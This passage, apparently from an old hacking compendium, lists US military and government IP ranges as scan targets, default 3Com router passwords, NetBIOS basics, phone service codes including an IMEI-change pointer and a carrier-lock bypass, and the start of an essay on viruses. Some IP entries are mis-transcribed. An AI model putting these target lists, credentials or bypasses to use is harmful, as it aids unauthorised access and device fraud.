129.251.0.0 United States Air Force Academy
RANGE 130
130.40.0.0 NASA Johnson Space Center
130.90.0.0 Mather Air Force Base
130.109.0.0 Naval Coastal Systems Center
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity
130.124.0.0 Honeywell Defense Systems Group
130.165.0.0 U.S.Army Corps of Engineers
130.167.0.0 NASA Headquarters
RANGE 131
131.6.0.0 Langley Air Force Base
131.10.0.0 Barksdale Air Force Base
131.17.0.0 Sheppard Air Force Base
131.21.0.0 Hahn Air Base
131.22.0.0 Keesler Air Force Base
131.24.0.0 6 Communications Squadron
131.25.0.0 Patrick Air Force Base
131.32.0.0 37 Communications Squadron
131.35.0.0 Fairchild Air Force Base
71
131.36.0.0 Yokota Air Base
131.37.0.0 Elmendorf Air Force Base
131.38.0.0 Hickam Air Force Base
131.39.0.0 354CS/SCSN
131.40.0.0 Bergstrom Air Force Base
131.44.0.0 Randolph Air Force Base
131.46.0.0 20 Communications Squadron
131.47.0.0 Andersen Air Force Base
131.50.0.0 Davis-Monthan Air Force Base
131.52.0.0 56 Communications Squadron /SCBB
131.54.0.0 Air Force Concentrator Network
131.56.0.0 Upper Heyford Air Force Base
131.58.0.0 Alconbury Royal Air Force Base
131.59.0.0 7 Communications Squadron
131.61.0.0 McConnell Air Force Base
131.62.0.0 Norton Air Force Base
131.74.0.0 Defense MegaCenter Columbus
131.84.0.0 Defense Technical Information Center
131.92.0.0 Army Information Systems Command - Aberdeen (EA)
131.105.0.0 McClellan Air Force Base
131.110.0.0 NASA/Michoud Assembly Facility
131.120.0.0 Naval Postgraduate School
131.121.0.0 United States Naval Academy
131.122.0.0 United States Naval Academy
131.176.0.0 European Space Operations Center
131.182.0.0 NASA Headquarters
131.250.0.0 Office of the Chief of Naval Research
RANGE 132
132.3.0.0 Williams Air Force Base
132.6.0.0 Ankara Air Station
132.9.0.0 28th Bomb Wing
132.10.0.0 319 Comm Sq
132.11.0.0 Hellenikon Air Base
72
132.12.0.0 Myrtle Beach Air Force Base
132.13.0.0 Bentwaters Royal Air Force Base
132.14.0.0 Air Force Concentrator Network
132.15.0.0 Kadena Air Base
132.16.0.0 Kunsan Air Base
132.17.0.0 Lindsey Air Station
132.18.0.0 McGuire Air Force Base
132.20.0.0 35th Communications Squadron
132.21.0.0 Plattsburgh Air Force Base
132.22.0.0 23Communications Sq
132.24.0.0 Dover Air Force Base
132.30.0.0 Lajes Air Force Base
132.31.0.0 Loring Air Force Base
132.34.0.0 Cannon Air Force Base
132.35.0.0 Altus Air Force Base
132.38.0.0 Goodfellow AFB
132.39.0.0 K.I. Sawyer Air Force Base
132.42.0.0 Spangdahlem Air Force Base
132.43.0.0 Zweibruchen Air Force Base
132.45.0.0 Chanute Air Force Base
132.46.0.0 Columbus Air Force Base
132.48.0.0 Laughlin Air Force Base
132.50.0.0 Reese Air Force Base
132.52.0.0 Vance Air Force Base
132.54.0.0 Langley AFB
132.55.0.0 Torrejon Air Force Base
132.57.0.0 Castle Air Force Base
132.58.0.0 Nellis Air Force Base
132.59.0.0 24Comm Squadron\SCSNA
132.61.0.0 SSG/SIN
132.79.0.0 Army National Guard Bureau
132.82.0.0 Army National Guard Bureau
132.86.0.0 National Guard Bureau
132.94.0.0 Army National Guard Bureau
73
132.109.0.0 National Guard Bureau
132.114.0.0 Army National Guard
132.117.0.0 Army National Guard Bureau
132.122.0.0 South Carolina Army National Guard, USPFO
132.133.0.0 National Guard Bureau
132.159.0.0 Army Information Systems Command
132.193.0.0 Army Research Office
132.250.0.0 Naval Research Laboratory
RANGE 134
134.5.0.0 Lockheed Aeronautical Systems Company
134.11.0.0 The Pentagon
134.12.0.0 NASA Ames Research Center
134.51.0.0 Boeing Military Aircraft Facility
134.52.*.* Boeing Corporation
134.78.0.0 Army Information Systems Command-ATCOM
134.80.0.0 Army Information Systems Command
134.118.0.0 NASA/Johnson Space Center
134.131.0.0 Wright-Patterson Air Force Base
134.136.0.0 Wright-Patterson Air Force Base
134.164.0.0 Army Engineer Waterways Experiment Station
134.165.0.0 Headquarters Air Force Space Command
134.194.0.0 U.S. Army Aberdeen Test Center
134.205.0.0 7th Communications Group
134.229.0.0 Navy Regional Data Automation Center
134.232.0.0 - 134.232.255.255 U.S. Army, Europe
134.233.0.0 HQ 5th Signal Command
134.235.0.0 HQ 5th Signal Command
134.240.0.0 U.S. Military Academy
136.149.0.0 Air Force Military Personnel Center
RANGE 136
136.178.0.0 NASA Research Network
136.188.0.0 - 136.197.255.255 Defense Intelligence Agency
136.207.0.0 69th Signal Battalion 74
136.208.0.0 HQ, 5th Signal Command
136.209.0.0 HQ 5th Signal Command
136.210.0.0 HQ 5th Signal Command
136.212.0.0 HQ 5th Signal Command
136.213.0.0 HQ, 5th Signal Command
136.214.0.0 HQ, 5th Signal Command
136.215.0.0 HQ, 5th Signal Command
136.216.0.0 HQ, 5th Signal Command
136.217.0.0 HQ, 5th Signal Command
136.218.0.0 HQ, 5th Signal Command
136.219.0.0 HQ, 5th Signal Command
136.220.0.0 HQ, 5th Signal Command
136.221.0.0 HQ, 5th Signal Command
136.222.0.0 HQ, 5th Signal Command
RANGE 137
137.1.0.0 Whiteman Air Force Base
37.2.0.0 George Air Force Base
137.3.0.0 Little Rock Air Force Base \
137.4.0.0 - 137.4.255.255 437 CS/SC
137.5.0.0 Air Force Concentrator Network
137.6.0.0 Air Force Concentrator Network
137.11.0.0 HQ AFSPC/SCNNC
137.12.0.0 Air Force Concentrator Network
137.17.* National Aerospace Laboratory
137.24.0.0 Naval Surface Warfare Center
137.29.0.0 First Special Operations Command
137.67.0.0 Naval Warfare Assessment Center
137.94.* Royal Military College
137.95.* Headquarters, U.S. European Command
137.126.0.0 USAF MARS
137.127.* Army Concepts Analysis Agency
137.128.* U.S. ARMY Tank-Automotive Command
75
137.130.0.0 Defense Information Systems Agency
137.209.0.0 Defense Information Systems Agency
137.210.0.0 Defense Information Systems Agency
137.211.0.0 Defense Information Systems Agency
137.212.0.0 Defense Information Systems Agency
137.231.0.0 HQ 5th Signal Command
137.232.0.0 Defense Information Systems Agency
137.233.0.0 Defense Information Systems Agency
137.234.0.0 Defense Information Systems Agency
137.235.0.0 Defense Information Systems Agency
137.240.0.0 Air Force Materiel Command
137.241.0.0 75 ABW
137.242.0.0 Air Force Logistics Command
137.243.0.0 77 CS/SCCN
137.244.0.0 78 CS/SCSC
137.245.0.0 Wright Patterson Air Force Base
137.246.0.0 United States Atlantic Command Joint Training
RANGE 139
39.31.0.0 20th Tactical Fighter Wing
139.32.0.0 48th Tactical Fighter Wing
139.33.0.0 36th Tactical Fighter Wing
139.34.0.0 52nd Tactical Fighter Wing
139.35.0.0 50th Tactical Fighter Wing
139.36.0.0 66th Electronic Combat Wing
139.37.0.0 26th Tactical Reconnaissance Wing |
139.38.0.0 32nd Tactical Fighter Squadron
139.40.0.0 10th Tactical Fighter Wing
139.41.0.0 39th Tactical Air Control Group
139.42.0.0 40th Tactical Air Control Group
139.43.0.0 401st Tactical Fighter Wing
139.124.* Reseau Infomratique
76
RANGE 143
143.45.0.0 58th Signal Battalion
143.46.0.0 U.S. Army, 1141st Signal Battalion
143.68.0.0 Headquarters, USAISC
143.69.0.0 Headquarters, USAAISC
143.70.0.0 Headquarters, USAAISC
143.71.0.0 Headquarters, USAAISC
143.72.0.0 Headquarters, USAAISC
143.73.0.0 Headquarters, USAAISC
143.74.0.0 Headquarters, USAAISC
143.75.0.0 Headquarters, USAAISC
143.76.0.0 Headquarters, USAAISC
143.77.0.0 Headquarters, USAAISC
143.78.0.0 Headquarters, USAAISC
143.79.0.0 Headquarters, USAAISC
143.80.0.0 Headquarters, USAAISC
143.81.0.0 Headquarters, USAAISC
143.82.0.0 Headquarters, USAAISC
143.84.0.0 Headquarters, USAAISC
143.85.0.0 Headquarters, USAAISC
143.86.0.0 Headquarters, USAAISC
143.87.0.0 Headquarters, USAAISC
143.232.0.0 NASA Ames Research Center
RANGE 144
144.99.0.0 United States Army Information Systems Command
144.109.0.0 Army Information Systems Command
144.143.0.0 Headquarters, Third United States Army
144.144.0.0 Headquarters, Third United States Army
144.146.0.0 Commander, Army Information Systems Center
144.147.0.0 Commander, Army Information Systems Center
144.170.0.0 HQ, 5th Signal Command
144.192.0.0 United States Army Information Services Command-Campbell
144.233.0.0 Defense Intelligence Agency
77
144.234.0.0 Defense Intelligence Agency
144.235.0.0 Defense Intelligence Agency
144.236.0.0 Defense Intelligence Agency
144.237.0.0 Defense Intelligence Agency
144.238.0.0 Defense Intelligence Agency
144.239.0.0 Defense Intelligence Agency
144.240.0.0 Defense Intelligence Agency
144.241.0.0 Defense Intelligence Agency
144.242.0.0 Defense Intelligence Agency
144.252.0.0 U.S. Army LABCOM
RANGE 146
146.17.0.0 HQ, 5th Signal Command
146.80.0.0 Defence Research Agency
146.98.0.0 HQ United States European Command
46.154.0.0 NASA/Johnson Space Center
146.165.0.0 NASA Langley Research Center
RANGE 147
147.35.0.0 HQ, 5th Signal Command
147.36.0.0 HQ, 5th Signal Command
147.37.0.0 HQ, 5th Signal Command
147.38.0.0 HQ, 5th Signal Command
147.39.0.0 HQ, 5th Signal Command
147.40.0.0 HQ, 5th Signal Command
147.42.0.0 Army CALS Project
147.103.0.0 Army Information Systems Software Center
147.104.0.0 Army Information Systems Software Center
147.159.0.0 Naval Air Warfare Center, Aircraft Division
147.168.0.0 Naval Surface Warfare Center
147.169.0.0 HQ, 5th Signal Command
147.198.0.0 Army Information Systems Command
147.199.0.0 Army Information Systems Command
47.238.0.0 Army Information Systems Command
78
147.239.0.0 1112th Signal Battalion
147.240.0.0 US Army Tank-Automotive Command
147.242.0.0 19th Support Command
147.248.0.0 Fort Monroe DOIM
147.254.0.0 7th Communications Group
RANGE 148
148.114.0.0 NASA, Stennis Space Center
RANGE 150
150.113.0.0 1114th Signal Battalion
150.114.0.0 1114th Signal Battalion
150.125.0.0 Space and Naval Warfare Command
150.133.0.0 10th Area Support Group
150.144.0.0 NASA Goodard Space Flight Center
150.149.0.0 Army Information Systems Command
150.157.0.0 USAISC-Fort Lee
150.184.0.0 Fort Monroe DOIM
150.190.0.0 USAISC-Letterkenny
150.196.0.0 USAISC-LABCOM
RANGE 152
152.82.0.0 7th Communications Group of the Air Force
152.151.0.0 U.S. Naval Space & Naval Warfare Systems Command
152.152.0.0 NATO Headquarters
152.154.0.0 Defense Information Systems Agency
152.229.0.0 Defense MegaCenter (DMC) Denver
RANGE 153
153.21.0.0 USCENTAF/SCM
153.22.0.0 USCENTAF/SCM
153.28.0.0 USCENTAF/SCM
153.29.0.0 USCENTAF/SCM
153.30.0.0 USCENTAF/SCM
79
153.31.0.0 Federal Bureau of Investigation
RANGE 155
155.5.0.0 1141st Signal Bn
155.6.0.0 1141st Signal Bn
155.77.0.0 PEO STAMIS
155.78.0.0 PEO STAMIS
155.79.0.0 US Army Corps of Engineers
155.80.0.0 PEO STAMIS
155.81.0.0 PEO STAMIS
155.82.0.0 PEO STAMIS
155.83.0.0 US Army Corps of Enginers
155.84.0.0 PEO STAMIS
155.85.0.0 PEO STAMIS
155.86.0.0 US Army Corps of Engineers
155.87.0.0 PEO STAMIS
155.88.0.0 PEO STAMIS
155.96.0.0 Drug Enforcement Administration
155.149.0.0 1112th Signal Battalion
155.155.0.0 HQ, 5th Signal Command \
155.178.0.0 Federal Aviation Administration
155.213.0.0 USAISC Fort Benning
155.214.0.0 Director of Information Management
155.215.0.0 USAISC-FT DRUM
155.216.0.0 TCACCIS Project Management Office
155.217.0.0 Directorate of Information Management
155.218.0.0 USAISC
155.219.0.0 DOIM/USAISC Fort Sill
155.220.0.0 USAISC-DOIM
155.221.0.0 USAISC-Ft Ord
RANGE 156
156.9.0.0 U. S. Marshals Service
80
RANGE 158
158.1.0.0 Commander, Tooele Army Depot
58.2.0.0 USAMC Logistics Support Activity
158.3.0.0 U.S. Army TACOM
158.6.0.0 USAISC-Ft. McCoy
158.8.0.0 US Army Soldier Support Center
158.9.0.0 USAISC-CECOM
158.10.0.0 GOC
158.11.0.0 UASISC-Vint Hill
158.12.0.0 US Army Harry Diamond Laboratories
158.13.0.0 USAISC DOIM
158.14.0.0 1112th Signal Battalion
158.16.0.0 Rocky Mountain Arsenal (PMRMA)
158.17.0.0 Crane Army Ammunition Activity
158.18.0.0 Defense Finance & Accounting Service Center
158.19.0.0 DOIM
158.20.0.0 DOIM
158.235.0.0 Marine Corps Central Design and Programming Activity
158.243.0.0 Marine Corps Central Design and Programming Activity
158.244.0.0 Marine Corps Central Design and Programming Activity
158.245.0.0 Marine Corps Central Design and Programming Activity
158.246.0.0 Marine Corps Central Design and Programming Activity
RANGE 159
159.120.0.0 Naval Air Systems Command (Air 4114)
RANGE 160
160.132.0.0 US Army Recruiting Command
|160.135.0.0 36th Signal BN
160.138.0.0 USAISC
160.139.0.0 USAISC
160.140.0.0 HQ, United States Army
160.143.0.0 USAISC
81
160.145.0.0 1101st Signal Brigade
160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS
160.150.0.0 Commander, Moncrief Army Hospital
RANGE 161
161.124.0.0 NAVAL WEAPONS STATION
RANGE 162
162.32.0.0 Naval Aviation Depot Pensacola
162.45.0.0 Central Intelligence Agency
162.46.0.0 Central Intelligence Agency |
RANGE 163
163.205.0.0 NASA Kennedy Space Center
163.206.0.0 NASA Kennedy Space Center
RANGE 164
164.45.0.0 Naval Ordnance Center, Pacific Division
164.49.0.0 United States Army Space and Strategic Defense
164.158.0.0 Naval Surface Warfare Center
164.217.0.0 Institute for Defense Analyses
164.223.0.0 Naval Undersea Warfare Center \
164.224.0.0 Secretary of the Navy
164.225.0.0 U.S. Army Intelligence and Security Command
164.226.0.0 Naval Exchange Service Command
164.227.0.0 Naval Surface Warfare Center, Crane Division
164.228.0.0 USCINCPAC J21T
164.229.0.0 NCTS-NOLA
164.230.0.0 Naval Aviation Depot
164.231.0.0 Military Sealift Command
RANGE 167
167.44.0.0 Government Telecommunications Agency
82
RANGE 168
168.68.0.0 USDA Office of Operations
168.85.0.0 Fort Sanders Alliance
168.102.0.0 Indiana Purdue Fort Wayne
RANGE 169
169.252.0.0 - 169.253.0.0 U.S. Department of State
RANGE 195
195.10.* Various - Do not scan
RANGE 199
199.121.4.0 - 199.121.253.0 Naval Air Systems Command, VA
RANGE 203
203.59.0.0 - 203.59.255.255 Perth Australia iiNET
RANGE 205
205.0.0.0 - 205.117.255.0 Department of the Navy, Space and Naval Warfare System
Command, Washington DC - SPAWAR
205.96.* - 205.103.*
RANGE 207
207.30.* Sprint/United Telephone of Florida
Back
83
Default Router Password
84
Manufacturer Model OS VersionLogin Password
3Com - 1.25 root letmein
3Com Super Stack 2 Switch Any manager manager
3ComAccessBuilder® 7000
BRIAny - -
3Com CoreBuilder 2500 - - -
3Com Switch 3000/3300 - manager manager
3Com Switch 3000/3300 - admin admin
3Com Switch 3000/3300 - security security
3com
Cable Managment
System SQL Database
(DOSCIC DHCP)
Win2000 &
MSDOCSIS_APP 3com
3ComNAC (Network Access
Card)- adm none
3Com HiPer ARC Cardv4.1.x of
HAadm none
3Com CoreBuilder 6000 - debug tech
3Com CoreBuilder 7000 - tech tech
3ComSuperStack II Switch
2200- debug synnet
3ComSuperStack II Switch
2700- tech tech
3Com SuperStack / CoreBuilder - admin -
3Com SuperStack / CoreBuilder - read -
3Com SuperStack / CoreBuilder - write -
3Com LinkSwitch and CellPlex - tech tech
3Com LinkSwitch and CellPlex - debug synnet
3com Superstack II 3300FX - admin -
3com Switch 3000/3300 - Admin 3com
3com 3comCellPlex7000 - tech tech
3Com Switch 3000/3300 - monitor monitor
3Com AirConnect Access Point n/a - comcomcom
3comSuperstack II Dual Speed
500- security security
3Com OfficeConnect 5x1 at least 5.x - PASSWORD
3ComSuperStack 3 Switch
3300XM- admin -
3com Super Stack 2 Switch Any manager manager
3ComSuperStack II Switch
1100- manager manager
3ComSuperStack II Switch
1100- security security
3com super stack 2 switch any manager manager
3ComOffice Connect Remote
812- root !root
3Com Switch 3000/3300 - adminadmin
3COM OCR-812 - root !root
3com - - - -
3com NBX100 2.8 administrator 0000
3com Home Connect - User Password
3Com OfficeConnect 5x1 at least 5.x estheralastruey -
3ComSuperStack II Switch
- manager manager
85
Back
86
Understanding NetBIOS
Whats is NetBIOS?
NetBIOS (Network Basic Input/Output System) was originally developed by IBM and
Sytek as an Application Programming Interface (API) for client software to access LAN
resources. Since its creation, NetBIOS has become the basis for many other networking
applications. In its strictest sense, NetBIOS is an interface specification for acessing
networking services.
NetBIOS, a layer of software developed to link a network operating system with
specific hardware, was originally designed as THE network controller for IBM's Network
LAN. NetBIOS has now been extended to allow programs written using the NetBIOS
interface to operate on the IBM token ring architecture. NetBIOS has since been adopted as
an industry standard and now, it is common to refer to NetBIOS-compatible LANs.
It offers network applications a set of "hooks" to carry out inter-application
communication and data transfer. In a basic sense, NetBIOS allows applications to talk to the
network. Its intention is to isolate application programs from any type of hardware
dependancies. It also spares software developers the task of developing network error
recovery and low level message addressing or routing. The use of the NetBIOS interface does
alot of this work for them.
NetBIOS standardizes the interface between applications and a LANs operating
capabilities. With this, it can be specified to which levels of the OSI model the application can
write to, making the application transportable to other networks. In a NetBIOS LAN
enviroment, computers are known on the system by a name. Each computer on the network
has a permanent name that is programmed in various different ways. These names will be
discussed in more detail below.
PC's on a NetBIOS LAN communicate either by establishing a session or by using
NetBIOS datagram or broadcast methods. Sessions allow for a larger message to be sent and
handle error detection and correction. The communication is on a one-to-one basis. Datagram
and broadcast methods allow one computer to communicate with several other computers at
the same time, but are limited in message size. There is no error detection or correction using
these datagram or broadcast methods. However, datagram communication allows for
communication without having to establish a session.
87
All communication in these enviroments are presented to NetBIOS in a format called
Network Control Blocks (NCB). The allocation of these blocks in memory is dependant on
the user program. These NCB's are divided into fields, these are reserved for input and output
respectively.
NetBIOS is a very common protocol used in todays enviroments. NetBIOS is
supported on Ethernet, TokenRing, and IBM PC Networks. In its original induction, it was
defined as only an interface between the application and the network adapter. Since then,
transport like functions have been added to NetBIOS, making it more functional over time.
In NetBIOS, connection (TCP) oriented and connectionless (UDP) communication are
both supported. It supports both broadcasts and multicasting and supports three distinct
services: Naming, Session, and Datagram.
NetBIOS Names
NetBIOS names are used to identify resources on a network. Applications use these
names to start and end sessions. You can configure a single machine with multiple
applications, each of which has a unique NetBIOS name. Each PC that supports an
application also has a NetBIOS station name that is user defined or that NetBIOS derives by
internal means.
NetBIOS can consist of up to 16 aplhanumeric characters. The combination of
characters must be unique within the entire source routing network. Before a PC that uses
NetBIOS can fully function on a network, that PC must register their NetBIOS name.
When a client becomes active, the client advertises their name. A client is considered
to be registered when it can successfully advertise itself without any other client claiming it
has the same name. The steps of the registration process is as follows:
1. Uppon boot up, the client broadcasts itself and its NetBIOS information anywhere
from 6 to 10 to ensure every other client on the network receives the information.
2. If another client on the network already has the name, that NetBIOS client issues its
own broadcast to indicate that the name is in use. The client who is trying to register the
already in use name, stop all attempts to register that name.
3. If no other client on the network objects to the name registration, the client will
finish the registration process.
There are two types of names in a NetBIOS enviroment: Unique and Group. A unique
name must be unique across the network. A group name does not have to be unique and all
88
processes that have a given group name belong to the group. Each NetBIOS node maintains a
table of all names currently owned by that node.
The NetBIOS naming convention allows for 16 characters in a NetBIOS name.
Microsoft, however, limits these names to 15 characters and uses the 16th character as a
NetBIOS suffix. A NetBIOS suffix is used by Microsoft Networking software to indentify the
functionality installed or the registered device or service.
[QuickNote: SMB and NBT (NetBIOS over TCP/IP work very closely together and
both use ports 137, 138, 139. Port 137 is NetBIOS name UDP. Port 138 is NetBIOS datagram
UDP. Port 139 is NetBIOS session TCP. For further information on NetBIOS, read the paper
at the rhino9 website listed above]
The following is a table of NetBIOS suffixes currently used by Microsoft
WindowsNT. These suffixes are displayed in hexadecimal format.
Name Number Type Usage
==================================================================
========
<computername> 00 U Workstation Service
<computername> 01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
<computername> 03 U Messenger Service
<computername> 06 U RAS Server Service
<computername> 1F U NetDDE Service
<computername> 20 U File Server Service
<computername> 21 U RAS Client Service
<computername> 22 U Exchange Interchange
<computername> 23 U Exchange Store
<computername> 24 U Exchange Directory
<computername> 30 U Modem Sharing Server Service
<computername> 31 U Modem Sharing Client Service
<computername> 43 U SMS Client Remote Control
<computername> 44 U SMS Admin Remote Control Tool
<computername> 45 U SMS Client Remote Chat
<computername> 46 U SMS Client Remote Transfer
<computername> 4C U DEC Pathworks TCPIP Service
89
<computername> 52 U DEC Pathworks TCPIP Service
<computername> 87 U Exchange MTA
<computername> 6A U Exchange IMC
<computername> BE U Network Monitor Agent
<computername> BF U Network Monitor Apps
<username> 03 U Messenger Service
<domain> 00 G Domain Name
<domain> 1B U Domain Master Browser
<domain> 1C G Domain Controllers
<domain> 1D U Master Browser
<domain> 1E G Browser Service Elections
<INet~Services> 1C G Internet Information Server
<IS~Computer_name> 00 U Internet Information Server
<computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): The name may have only one IP address assigned to it. On a network device,
multiple occurences of a single name may appear to be registered, but the suffix will be
unique, making the entire name unique.
Group (G): A normal group; the single name may exist with many IP addresses.
Multihomed (M): The name is unique, but due to multiple network interfaces on the same
computer, this configuration is necessary to permit the registration. Maximum number of
addresses is 25.
Internet Group (I): This is a special configuration of the group name used to manage
WinNT domain names.
Domain Name (D): New in NT 4.0
For a quick and dirty look at a servers registered NetBIOS names and services, issue
the following NBTSTAT command:
90
NetBIOS Sessions
The NetBIOS session service provides a connection-oriented, reliable, full-duplex
message service to a user process. NetBIOS requires one process to be the client and the other
to be the server. NetBIOS session establishment requires a preordained cooperation between
the two stations. One application must have issued a Listen command when another
application issues a Call command. The Listen command references a name in its NetBIOS
name table (or WINS server), and also the remote name an application must use to qualify as
a session partner. If the receiver (listener) is not already listening, the Call will be
unsuccessful. If the call is successful, each application receives notification of session
establishment with the session-id. The Send and Receive commands the transfer data. At the
end of a session, either application can issue a Hang-Up command. There is no real flow
control for the session service because it is assumed a LAN is fast enough to carry the
required traffic.
NetBIOS Datagrams
Datagrams can be sent to a specific name, sent to all members of a group, or
broadcast to the entire LAN. As with other datagram services, the NetBIOS datagrams are
connectionless and unreliable. The Send_Datagram command requires the caller to specify
the name of the destination. If the destination is a group name, then every member of the
group receives the datagram. The caller of the Receive_Datagram command must specify the
local name for which it wants to receive datagrams. The Receive_Datagram command also
returns the name of the sender, in addition to the actual datagram data. If NetBIOS receives a
datagram, but there are no Receive_Datagram commands pending, then the datagram is
discarded.
The Send_Broadcast_Datagram command sends the message to every NetBIOS
system on the local network. When a broadcast datagram is received by a NetBIOS node,
every process that has issued a Receive_Broadcast_Datagram command receives the
datagram. If none of these commands are outstanding when the broadcast datagram is
received, the datagram is discarded.
NetBIOS enables an application to establish a session with another device and lets the
network redirector and transaction protocols pass a request to and from another machine.
NetBIOS does not actually manipulate the data. The NetBIOS specification defines an
interface to the network protocol used to reach those services, not the protocol itself.
Historically, has been paired with a network protocol called NetBEUI (network extended user
91
interface). The association of the interface and the protocol has sometimes caused confusion,
but the two are different.
Network protocols always provide at least one method for locating and connecting to
a particular service on a network. This is usually accomplished by converting a node or
service name to a network address (name resolution). NetBIOS service names must be
resolved to an IP address before connections can be established with TCP/IP. Most NetBIOS
implementations for TCP/IP accomplish name address resolution by using either broadcast or
LMHOSTS files. In a Microsoft enviroment, you would probably also use a NetBIOS Namer
Server known as WINS.
NetBEUI Explained
NetBEUI is an enhanced version of the NetBIOS protocol used by network operating
systems. It formalizes the transport frame that was never standardized in NetBIOS and adds
additional functions. The transport layer driver frequently used by Microsofts LAN Manager.
NetBEUI implements the OSI LLC2 protocol. NetBEUI is the original PC networking
protocol and interface designed by IBM for the LanManger Server. This protocol was later
adopted by Microsoft for their networking products. It specifies the way that higher level
software sends and receives messages over the NetBIOS frame protocol. This protocol runs
over the standard 802.2 data-link protocol layer.
NetBIOS Scopes
A NetBIOS Scope ID provides an extended naming service for the NetBIOS over
TCP/IP (Known as NBT) module. The primary purpose of a NetBIOS scope ID is to isolate
NetBIOS traffic on a single network to only those nodes with the same NetBIOS scope ID.
The NetBIOS scope ID is a character string that is appended to the NetBIOS name. The
NetBIOS scope ID on two hosts must match, or the two hosts will not be able to
communicate. The NetBIOS Scope ID also allows computers to use the same computer
namee as they have different scope IDs. The Scope ID becomes a part of the NetBIOS name,
making the name unique.
Back
92
93
Mobile hacking
Nokia 2110/I is codes shows you software version, software date and hardware model number
of your phone.
On 2110, type:
* # 9999 #
On 2110i, may function one of the followings:
* # 170602112302 # or
* # 682371158412125 #
Show IMEI code
If you need to know what's the IMEI code of your phone, simply press:
* # 06 #
you'll read it on display.
Change IMEI code
If you want to change IMEI code of your phone (we don't want to know "why"), here
is the software you'll need.
Show manufact. date
To get the manufacturing date of your phone, press:
* # 3283 # (= *#date#)
in 1995 phones, date is in "mmyy" format, 1996 and later phones show date in "wwyy"
format.
Unlock SP lock
Here is a way to Unlock your phone which is Service Provider locked, without to
know
94
SPLock code !!!!
Give it a try (and give us feedback, pls):
Turn the phone on, when the phone asks for the Security Code,
press:
112
<send>
now quickly press:
#
send
end
send
end.
Each time you turn your phone OFF it resets the lock, so this need to be done each
time you'll turn your phone ON :-(
Anyway it's better than nothing, isn't it?
Pin-Out
ANT 16 9 Charging connector
(O) I-I-I-I-I-I-I-I ( ) ( o )
CON 8 1
The left symbol (O) is the antenna connector for car kits. The symbol numbered 16-9
on the top and 8-1 on the bottom is the system connector. the ( ) is the open space
next to the connector and the ( o ) is the charging connector for you home-charger.
PIN Description
1 - Digital ground95
2 - External audio input from accessories or handsfree microphone.
Multiplexed with junction box connection control signal
3 - Analogue ground for accessories
4 - Transmitted DBUS data to the accessories
5 - Serial Bidirectional data between the phone and accessories
6 - Hook indication. HP has a 100KE pull-up resistor.
7 - Handsfree device power on/off, data to flash programming device.
8 - Battery charging voltage
9 - Digital ground
10 - External Audio output to accessories or handsfree speaker
11 - DBUS data bit sync clock
12 - DBUS recieved data from the accessories
13 - Power supply to headset adapter
14 - Programming voltage for FLASH
15 - DBUS data clock
16 - Battery charging voltage
Software Bug
Software version prior ver. 5.48 may randomly reset and restart itself, it seems to be
fixed in later version
For:
Motorola d460, 2500, 6200 (Flare), 7500, 8200, 8400 & 8700
IMEI
*#06# displays IMEI on 8700, NOT on 6200, 7500, 8200
To activate RBS:
(pause means the * key held in until box appears)
[pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
You now have to press the [MENU] and scroll to the 'Eng Field Options' function with the
keys, and enable it.
96
To de-activate RBS,
[pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
This only works with some versions of software. Please report what works and doesn't for
you.
Reported working, by country:
d460: IT
6200 Flare: UK (Orange), AU
7500: IT (model: F16 HW: 5.2 SW: 2.1)
8200: ES, AU, NL, BE
8400: IT, NL
8700: AU, IT, SG, DE, ES, ZA
Uses of RBS:
Distance From Base Station - Place a call, when it is answered, press [MENU] until 'Eng
Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until
'Time Adv xxx' appears, where xxx is a number. Multiply this number by 550, and the result
is the distance from the RBS (Radio Base Station), in meters.
Signal Quality - press [MENU] until 'Eng Field Option' is displayed, press [OK], select
'Active Cell', press [OK], press [MENU] until 'C1' appears. This is the signal quality. If it
becomes negative for longer than 5 seconds, a new cell is selected.
Back
97
98
Viruses
IndexIndex
• Introduction to Computer VirusesIntroduction to Computer Viruses
• HistoryHistory
• Why Do People Why Do People Write VirusesWrite Viruses
• VirusVirus Code Code
Back
99
100
Introduction to Computer Viruses Introduction to Computer Viruses
The person might have a computer virus infection when the computer starts acting
differently. For instance getting slow or when they turn the computer on, it says that all the
data is erased or when they start writing a document, it looks different, some chapters might
be missing or something else abnormal has happened.
The next thing usually the person whose computer might be infected with virus,
panics. The person might think that all the work that has been done is missing. That could be
true, but in most cases viruses have not done any harm jet, but when one start doing
something and are not sure what you do, that might be harmful. When some people try to get
rid of viruses they delete files or they might even format the whole hard disk like my cousin
did. That is not the best way to act when the person think that he has a virus infection.
What people do when they get sick? They go to see a doctor if they do not know what
is wrong with them. It is the same way with viruses, if the person does not know what to do
they call someone who knows more about viruses and they get professional help.
If the person read email at their PC or if they use diskettes to transfer files between the
computer at work and the computer at home, or if they just transfer files between the two
computers they have a good possibility to get a virus. They might get viruses also when they
download files from any internet site. There was a time when people were able to be sure that
some sites we secure, that those secure sites did not have any virus problems, but nowadays
the people can not be sure of anything. There has been viruses even in Microsoft's download
sites.
In this report I am going to introduce different malware types and how they spread out
and how to deal with them. Most common viruses nowadays are macro viruses and I am
going to spend a little more time with them. I am going to give an example of trojan horses
stealing passwords.
Comparison with biological viruses
How viruses workHow viruses work
A computer virus will pass from one computer to another like a real life biological
virus passes from person to person. For example, it is estimated by experts that the [Mydoom]
worm infected a quarter-million computers in a single day in January 2004.Another example
is the ILOVEYOU virus, which occurred in 2000 and had a similar effect. It stole most of its
operating style from Melissa. There are tens of thousands of viruses out there, and new ones
101
are discovered every day. It is difficult to come up with a generic explanation of how viruses
work, since they all have variations in the way they infect the way they spread. So instead,
we’ve taken some broad categories that are commonly used to describe various types of virus.
Basic types of viruses
File viruses (parasitic viruses) File viruses (parasitic viruses)
File viruses are pieces of code that attach themselves to executable files, driver files or
compressed files, and are activated when the host program is run. After activation, the virus
may spread itself by attaching itself to other programs in the system, and also carry out the
malevolent activity it was programmed for. Most file viruses spread by loading themselves in
system memory and looking for any other programs located on the drive. If it finds one, it
modifies the program’s code so that it contains and activates the virus the next time it’s run. It
keeps doing this over and over until it spreads across the system, and possibly to other
